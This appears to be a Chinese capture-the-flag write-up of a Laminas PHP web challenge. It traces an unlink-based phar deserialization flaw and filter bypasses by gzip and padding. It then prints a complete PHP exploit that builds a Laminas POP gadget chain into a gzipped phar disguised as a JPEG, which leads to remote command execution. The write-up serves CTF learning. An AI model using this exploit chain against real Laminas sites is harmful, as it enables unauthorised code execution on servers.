只有5个小时,所以web题其实难度不大,只是自己太菜了...还有很多要学的啊!
Fan website
这道题有源码,下载下来发现是个框架题,首先看看是啥框架,根据composer.json发现是一个叫laminas的框架,那接下来直接看看路由在哪里。搜索找到官方文档Routing and Controllers - tutorials - Laminas Docs
首先可以知道访问路由的格式是/album[/:action[/:id]]
然后可以看到路由的格式是{action name}Action
然后下面给了一个AlbumController.php,应该是默认的controller文件(一个controller里面可能会有很多个action),我们进去看看,除了四个默认方法之外,还发现了两个自定义方法
有个小技巧,这两个方法都有过滤,说明很可能是出题人给的考点,要重点关注
看看imgdeleteAction
public function imgdeleteAction() { $request = $this->getRequest(); if(isset($request->getPost()['imgpath'])){ $imgpath = $request->getPost()['imgpath']; $base = substr($imgpath,-4,4); if(in_array($base,$this->white_list)){ //白名单 @unlink($imgpath); //利用函数 }else{ echo 'Only Img File Can Be Deleted!'; } } }
unlink作为一个文件操作函数,支持phar://伪协议,那就可以考虑phar反序列化,详见这篇文章重新认识反序列化-Phar (lmxspace.com)
接下来看看upload函数,关键代码:
public function __construct(AlbumTable $table){ $this->table = $table; $this->white_list = array('.jpg','.jpeg','.png'); } if(in_array($base,$this->white_list)){ //白名单限制 $cont = file_get_contents($data["image-file"]["tmp_name"]); if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) { die("Not This"); } if($data["image-file"]["size"]<3000){ die("The picture size must be more than 3kb"); } $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base; echo $img_path; $form->saveImg($data["image-file"]["tmp_name"],$img_path); }
首先是有一个后缀过滤,白名单,不过phar反序列化是识别的文件内容所以没关系;接下来过滤了HALT_COMPILER关键字,网上也有绕过方法,gzip一下就可以了,参见这篇文章【技术分享】2021蓝帽杯决赛Web wp - 网安 (wangan.com)
文件大小要大于3KB,这还不简单,使劲塞垃圾字符就行了
这样我们就可以实现任意类的反序列化了,接下来网上找找链子Zend FrameWork Pop Chain - 先知社区 (aliyun.com)
(貌似CVE-2021-3007给个exp用不了,版本不对)
exp:
<?php namespace Laminas\View\Resolver{ class TemplateMapResolver{ protected $map = ["setBody"=>"system"]; } } namespace Laminas\View\Renderer{ class PhpRenderer{ private $__helpers; function __construct(){ $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver(); } } } namespace Laminas\Log\Writer{ abstract class AbstractWriter{} class Mail extends AbstractWriter{ protected $eventsToMail = ["sleep 5"]; //echo `cat /flag/flag.txt` protected $subjectPrependText = null; protected $mail; function __construct(){ $this->mail = new \Laminas\View\Renderer\PhpRenderer(); } } } namespace Laminas\Log{ class Logger{ protected $writers; function __construct(){ $this->writers = [new \Laminas\Log\Writer\Mail()]; } } } namespace { $a = new \Laminas\Log\Logger(); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); //set metadata $phar->addFromString("test.txt", str_repeat("test", 1000000)); //向里面加入压缩数据 $phar->stopBuffering(); system('gzip phar.phar'); system('mv phar.phar.gz phar.jpg'); }
上传phar.jpg,然后直接删除图片(路径用phar协议写),就可以RCE了
注意,这里还有一个坑,这种框架题测试一定要在服务器上运行,本地测试结果不大对头的
文章评论